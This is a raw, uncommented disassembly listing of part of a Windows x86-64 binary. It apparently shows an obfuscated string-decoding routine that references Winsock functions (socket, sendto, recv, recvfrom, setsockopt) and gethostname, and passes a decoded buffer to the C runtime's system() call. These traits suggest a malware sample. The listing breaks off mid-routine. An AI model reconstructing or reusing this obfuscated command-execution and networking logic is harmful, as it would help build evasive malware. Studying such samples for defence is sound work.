mov ecx, 8
movzx r9d, r11b
jmp 0x14004a7a7
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
inc r8
dec r11
inc r11
jmp 0x140049e63
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
dec r11
inc r11
jmp 0x140049e63
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14004a7fc
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14004a83d
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a83d
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14004a872
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14004a89b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rsp + r11 + 0x60], dil
inc r11
jmp 0x140049e63
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x41
jb 0x14004a2a3
movzx r9d, r11b
lea ecx, [r9 + 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x48]
jmp 0x14004a7b8
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x42
jae 0x14004a6b0
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14004a5bd
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
jmp 0x14004a2bf
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
lea rax, [r8 + rbx]
cmp rax, 5
je 0x14004a6d8
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14004a563
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14004a30c
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14004a89b
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a872
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a83d
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
add rbx, r8
jmp 0x14004a83d
movzx r9d, r11b
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14004a7fc
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140049e63
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140049e63
movzx r9d, r11b
lea edx, [r9 - 0x74]
mov ecx, socket
jmp 0x14004a7a7
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x14004a4bc
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x14004a34a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a4f3
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a517
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x14004a872
cmp rbx, rcx
jne 0x14004a537
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14004a83d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a34a
movzx r9d, r11b
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x14004a7b8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a58b
movzx r9d, r11b
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x14004a7b8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a30c
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140049e63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004a5f0
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004a614
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14004a872
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004a63f
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14004a83d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004a667
movzx r9d, r11b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14004a7fc
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004a691
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
dec r11
inc r11
jmp 0x140049e63
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14004a2ca
movzx r9d, r11b
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14004a7a7
movzx r9d, r11b
lea edx, [r9 + 0x10]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rsp + r11 + 0x60]
sub dil, al
sub dil, 0x70
add dil, dl
add dil, r10b
jmp 0x14004a7fc
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rsp + r11 + 0x60]
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x14004a872
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004a89b
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14004a83d
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
add rbx, r8
jmp 0x14004a83d
movzx r9d, r11b
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14004a7b8
movzx r9d, r11b
lea edx, [r9 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0xa
add r9b, r10b
mov byte [rsp + r11 + 0x60], r9b
inc r8
dec r11
inc r11
jmp 0x140049e63
movzx r9d, r11b
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rsp + r11 + 0x60], cl
add rbx, r8
jmp 0x14004a83d
lea rdx, [r11 + r15]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140049e63
lea rcx, [r11 + r13]
movzx r10d, r9b
and r9b, cl
mov eax, 0x1b
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rsp + r11 + 0x60], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 8
add cl, r10b
mov byte [rsp + r11 + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
lea rcx, [r11 + r12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x32
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140049e63
sub r11b, 0x6e
movzx eax, r11b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140049e60
sub r11b, 0x42
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x32
jmp 0x140049e47
lea rcx, [rbp + 0x1754898]
jmp 0x14004a957
lea rcx, [rbp + 0xdc4a82]
jmp 0x14004a957
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0xb0], 0x59222ecb
mov dword [rbp + 0xb4], 0x5ebb5551
mov dword [rbp + 0xb8], 0x5850664a
mov dword [rbp + 0xbc], 0x68559357
mov word [rbp + 0xc0], 0xe553
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc2], xmm0
mov qword [rbp + 0xd2], rax
mov dword [rbp + 0xda], eax
movabs rsi, 0xfb91d172038a9f3d
movabs r15, 0xe0fcba1e18ca5aab
movabs r14, 0xf2b574560a9fddb7
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x14004b4f3
movzx r9d, byte [rbp + r11 + 0xb0]
mov rdx, r9
nop dword [rax]
cmp rbx, r11
ja 0x14004b4ea
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004aa2c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x55
jmp 0x14004aa66
je 0x14004b47d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b3f8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004b3c5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004b383
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004b35e
cmp r8, r11
ja 0x14004b4e1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14004aa90
lea ecx, [r11 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
jmp 0x14004aad0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004b313
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004b2f1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004b2d5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004b2b6
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004b00d
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004afed
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14004afc5
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14004afa3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14004af83
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004af64
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004af48
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004af29
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004af0a
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004b4c4
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004b4a7
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004acb0
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004ac95
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14004ac7a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004aeb9
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004ae6f
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004ae2a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004ae03
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004aae0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004add2
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004adb3
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14004ad94
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004ad75
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14004ad56
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14004ad37
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004ad12
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004acea
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004accb
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004aae0
lea rbx, [r8 + 4]
lea r8, [rbx + 3]
jmp 0x14004aae0
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
jmp 0x14004aad0
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
jmp 0x14004aa66
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x14004a9f6
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx r10d, r11b
jmp 0x14004b331
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004a9e3
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x14004a9e3
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
movzx r10d, r11b
jmp 0x14004b3a1
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b3dc
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004b3df
lea edx, [r11 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x14004b412
lea edx, [r11 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004b43a
lea edx, [r11 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
lea ecx, [r11 + 7]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x31
mov byte [rbp + r11 + 0xb0], dil
inc r11
jmp 0x14004a9e3
lea edx, [r11 - 0x73]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
cmp r8, 8
jb 0x14004ae1a
movzx r10d, r11b
lea edx, [r10 + 0x4e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x44]
jmp 0x14004b331
lea edx, [r11 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
add dil, dl
cmp rbx, 3
jae 0x14004b272
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14004b1c5
lea edx, [r11 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004ae41
lea edx, [r11 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x14004b29a
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14004b0e9
lea edx, [r11 - 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x41
jmp 0x14004ae86
lea edx, [r11 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004b43a
lea edx, [r11 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
add dil, dl
jmp 0x14004b412
lea ecx, [r11 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
jmp 0x14004b3df
lea edx, [r11 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004b3dc
movzx r10d, r11b
lea edx, [r10 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
jmp 0x14004b39e
lea ecx, [r11 + 0x2a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
dec r11
inc r11
jmp 0x14004a9e3
lea edx, [r11 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14004a9e3
movzx r10d, r11b
lea edx, [r10 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
jmp 0x14004b32e
lea rax, [r8 + 2]
cmp rbx, rax
jae 0x14004b032
lea edx, [r11 + 0x3d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x55
jmp 0x14004aed0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b069
lea ecx, [r11 + 2]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b091
lea edx, [r11 - 0xa]
movzx eax, r9b
and al, dl
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14004b412
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004b0bc
lea ecx, [r11 - 0x22]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x12
dec r11
inc r11
jmp 0x14004a9e3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004aed3
movzx r10d, r11b
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004b32e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b112
movzx r10d, r11b
lea edx, [r10 + 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x15
jmp 0x14004b32e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b13d
lea ecx, [r11 - 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x3f
dec r11
inc r11
jmp 0x14004a9e3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b162
lea ecx, [r11 - 0x15]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6d
jmp 0x14004b3dc
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004b18a
lea edx, [r11 - 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x19
add dil, dl
jmp 0x14004b412
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004ae89
lea ecx, [r11 - 0x2d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x3b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004b1fc
lea ecx, [r11 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
cmp rbx, rcx
jne 0x14004b220
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
add dil, dl
jmp 0x14004b43a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004b245
lea ecx, [r11 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
jmp 0x14004b3dc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004ae44
movzx r10d, r11b
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004b39e
movzx r10d, r11b
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r11 + 0xb0]
sub dil, al
sub dil, 0x78
add dil, r9b
jmp 0x14004b39e
lea edx, [r11 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004b412
lea edx, [r11 - 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x49
add dil, dl
jmp 0x14004b43a
lea ecx, [r11 - 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xb
jmp 0x14004b3df
lea ecx, [r11 + 0x6f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 9
dec r11
inc r11
jmp 0x14004a9e3
movzx r10d, r11b
lea edx, [r10 + 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5d
add dil, dl
sub r10b, 0x75
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x33
add r10b, r9b
mov byte [rbp + r11 + 0xb0], r10b
inc r8
dec r11
inc r11
jmp 0x14004a9e3
lea ecx, [r11 + 0xd]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5b
inc r8
dec r11
inc r11
jmp 0x14004a9e3
movzx r10d, r11b
lea edx, [r10 + 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x51
add dil, dl
add r10b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x23
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0xb0], r10b
jmp 0x14004b3dc
lea ecx, [r11 - 0x61]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x59
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004a9e3
lea rcx, [r11 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x53
add dil, cl
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x79
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xb0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x24
add cl, r9b
mov byte [rbp + r11 + 0xb0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
dec dil
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004a9e3
sub r11b, 0x4f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x29
jmp 0x14004a9e0
add r11b, 0x37
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x7f
jmp 0x14004a9d0
lea rdx, [rbp + 0x162fdac]
jmp 0x14004b4fa
lea rdx, [rbp + 0x12d9ce9]
jmp 0x14004b4fa
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x210]
call fcn.140043270
nop
mov dword [rbp - 0x40], 0x3631301e
mov dword [rbp - 0x3c], 0xd26a213d
mov word [rbp - 0x38], 0xd4d5
mov byte [rbp - 0x36], 0x58
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x35], xmm0
mov byte [rbp - 0x25], al
movabs rsi, 0xbccb286657cead4b
movabs r15, 0x298e1acc66a6bd0d
movabs r14, 0x36617933076c07e1
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x14004c0a8
movzx r9d, byte [rbp + r11 - 0x40]
mov rdx, r9
cmp rbx, r11
ja 0x14004c09f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004b5a2
lea rcx, [r11 + rsi]
mov rax, r9
and rax, rcx
